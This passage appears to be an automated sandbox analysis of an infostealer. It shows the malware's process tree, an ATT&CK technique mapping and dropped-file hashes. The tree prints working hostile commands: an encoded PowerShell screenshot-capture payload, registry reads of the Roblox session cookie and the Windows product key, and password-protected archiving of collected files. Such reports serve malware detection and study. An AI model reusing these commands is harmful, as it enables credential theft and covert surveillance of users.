    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    PID:1168
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5024
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dkswca3n\dkswca3n.cmdline"
        5⤵
        
        PID:4440
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA103.tmp" "c:\Users\Admin\AppData\Local\Temp\dkswca3n\CSC8A283A2E93F94295BAEE22E727641A.TMP"
        6⤵
        
        PID:3092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4976
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4016
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:1904
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4560
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:3788
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:1604
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:1404
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    PID:4776
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:1524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI34762\rar.exe a -r -hp"Linesk" "C:\Users\Admin\AppData\Local\Temp\qbmgP.zip" *"
    3⤵
    PID:1464
  - - C:\Users\Admin\AppData\Local\Temp\_MEI34762\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI34762\rar.exe a -r -hp"Linesk" "C:\Users\Admin\AppData\Local\Temp\qbmgP.zip" *
      4⤵
      Executes dropped EXE
      PID:4492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:2416
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      PID:408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:1560
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:2284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:2476
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:4400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    PID:3564
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:4888
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:1476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:316
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1356

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1296

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
5da75924b097c993fdadd6105ac95afc

SHA1
adf57bf4e8b25c3b0f6d10824940aca90b4c2d5b

SHA256
624e2e7b83ef7f854b40994fab63efa8ec7f08eee2b3b81eb21e3b421268456d

SHA512
6eb235628cac4e4dbf60eae0bd398f9514f1ece8643f91cc73dc54e6b864ebe1f1f211954debb6c3e3c7810a4353152dd3a2563f6b4baeb8ede5bd04f4032f58

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESA103.tmp

Filesize
1KB

MD5
142fd80f0dd152fda7348702df5ec235

SHA1
3ce1ce08bef1a89bd08f2c8b64e02ab92b671b90

SHA256
2be32e50536a18b8a7ec8ae143abb70c203a4868838e0c4586721114a8f0d525

SHA512
37910ba4433a575d795ee9f61fb47e717ba6a2165c8091bedf4aec4f3163a304b93eaf16b960e9f6b44dcd1ffdf9a57e40edd8204c9216f1afb1a7358a1f12d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI34762\VCRUNTIME140.dll

Filesize
106KB

MD5
4585a96cc4eef6aafd5e27ea09147dc6

SHA1
489cfff1b19abbec98fda26ac8958005e88dd0cb

SHA256
a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736

SHA512
d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI34762\_bz2.pyd

Filesize
48KB

MD5
554b7b0d0daca993e22b7d31ed498bc2

SHA1
ea7f1823e782d08a99b437c665d86fa734fe3fe4

SHA256
1db14a217c5279c106b9d55f440ccf19f35ef3a580188353b734e3e39099b13f

SHA512
4b36097eddd2c1d69ac98c7e98eebe7bb11a5117249ad36a99883732f643e21ecf58e6bea33b70974d600563dc0b0a30bead98bafb72537f8374b3d67979e60a

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI34762\_ctypes.pyd

Filesize
58KB

MD5
d603c8bfe4cfc71fe5134d64be2e929b

SHA1
ff27ea58f4f5b11b7eaa1c8884eac658e2e9248b

SHA256
5ee40bcaab13fa9cf064ecae6fc0da6d236120c06fa41602893f1010efaa52fe

SHA512
fcc0dbfbe402300ae47e1cb2469d1f733a910d573328fe7990d69625e933988ecc21ab22f432945a78995129885f4a9392e1cee224d14e940338046f61abe361

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI34762\_decimal.pyd

Filesize
106KB

MD5
9cef71be6a40bc2387c383c217d158c7

SHA1
dd6bc79d69fc26e003d23b4e683e3fac21bc29cb

SHA256
677d9993bb887fef60f6657de6c239086ace7725c68853e7636e2ff4a8f0d009

SHA512
90e02054163d44d12c603debdc4213c5a862f609617d78dd29f7fd21a0bae82add4ceaf30024da681c2a65d08a8142c83eb81d8294f1284edfbeeb7d66c371c8

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI34762\_hashlib.pyd

Filesize
35KB

MD5
32df18692606ce984614c7efda2eec27

SHA1
86084e39ab0aadf0ecfb82ce066b7bf14152961e

SHA256
b7c9c540d54ab59c16936e1639c6565cd35a8ca625f31753e57db9cbd0ee0065

SHA512
679f8956370edc4dee32475d8440a2d2f9b6dd0edd0e033e49fed7834a35c7ed51ccde0995d19ed0a559a4383b99ae8c11e4e686902db12a2a5e0a3f2c0f4a9d

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI34762\_lzma.pyd

Filesize
85KB

MD5
01629284f906c40f480e80104158f31a

SHA1
6ab85c66956856710f32aed6cdae64a60aea5f0f

SHA256
a201ec286b0233644ae62c6e418588243a3f2a0c5a6f556e0d68b3c747020812

SHA512
107a4e857dd78dd92be32911e3a574f861f3425e01ab4b1a7580ac799dc76122ce3165465d24c34ac7fc8f2810547ad72b4d4ba3de76d3d61ed9bf5b92e7f7d4

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI34762\_queue.pyd

Filesize
25KB

MD5
4a313dc23f9d0a1f328c74dd5cf3b9ab

SHA1
494f1f5ead41d41d324c82721ab7ca1d1b72c062

SHA256
2163010bfde88a6cc15380516d31955935e243b7ad43558a89380bf5fe86337e

SHA512
42c712b758b35c0005b3528af586233298c2df4ed9f5133b8469bca9ec421ab151ce63f3929898c73d616cd9707594fa5f96d623fc150e214a4b2276c23c296e

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI34762\_socket.pyd

Filesize
43KB

MD5
67897f8c3262aecb8c9f15292dd1e1f0

SHA1
74f1ef77dd3265846a504f98f2e2f080eadbf58a

SHA256
ddbfa852e32e20d67a0c3d718ce68e9403c858d5cad44ea6404aff302556aba7

SHA512
200b6570db2fbb2eac7f51cae8e16ffb89cd46d13fba94a7729a675f10f4432fc89a256fd6bd804feac528191bd116407fd58a0573487d905fc8fca022c1abba

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI34762\_sqlite3.pyd

Filesize
56KB

MD5
230025cf18b0c20c5f4abba63d733ca8

SHA1
336248fde1973410a0746599e14485d068771e30

SHA256
30a3bc9ed8f36e3065b583d56503b81297f32b4744bff72dcf918407978ce332

SHA512
2c4d943c6587d28763cf7c21ad37cc4762674a75c643994b3e8e7c7b20576d5674cf700fdfaddc1a834d9bf034bf2f449d95351c236fde720505ccdd03369bb1

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI34762\_ssl.pyd

Filesize
62KB

MD5
0d15b2fdfa03be76917723686e77823c

SHA1
efd799a4a5e4f9d15226584dd2ee03956f37bdaf

SHA256
2fc63abe576c0d5fe031cf7ee0e2f11d9c510c6dbacfc5dd2e79e23da3650ee8

SHA512
e21ab5ebe8b97243cf32ca9181c311978e203852847e4beb5e6ada487038c37dec18a2b683e11e420e05ace014aca2172b2dda15930bab944053843e25623227

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI34762\base_library.zip

Filesize
1.4MB

MD5
3625fd8bb43e28bb167ba50ef9b4eebb

SHA1
0744b17e4102f2d8be7f4eb81438ccbc3439860d

SHA256
1e18d66b717fac83e462e24148ff486ea3f240f12398b7b585354fc90a2c746d

SHA512
d39313827d237df3a00cd6cc6a6e91ed1ae9dd9cb0000c0e336473e40af82ee37f0809bc322f169c2946e5b84c32a1efac3015d28eb9d4239872386fd62a820d

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI34762\blank.aes

Filesize
124KB

MD5
ea6ca3e6e049a58261f00e3d5e68cfde

SHA1
a2ad5541a351aa9595ce4434dc37efa14c396b66

SHA256
d6f9be25fd77c8295beffca1e9163452b38eca7c0a8ab675bc081720b90f3f80

SHA512
b5782d00b0a64923b1134257d0cfe46ad6580384e1703dcf22fb150fe9c427b7ffb8b1e1f358bb3f13c960018a36baf06f92dad9f5069592c5a744c732e7507e

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI34762\libcrypto-1_1.dll

Filesize
1.1MB

MD5
bbc1fcb5792f226c82e3e958948cb3c3

SHA1
4d25857bcf0651d90725d4fb8db03ccada6540c3

SHA256
9a36e09f111687e6b450937bb9c8aede7c37d598b1cccc1293eed2342d11cf47

SHA512
3137be91f3393df2d56a3255281db7d4a4dccd6850eeb4f0df69d4c8dda625b85d5634fce49b195f3cc431e2245b8e9ba401baaa08778a467639ee4c1cc23d8d

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI34762\libffi-8.dll

Filesize
29KB

MD5
08b000c3d990bc018fcb91a1e175e06e

SHA1
bd0ce09bb3414d11c91316113c2becfff0862d0d

SHA256
135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece

SHA512
8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

Download Submit
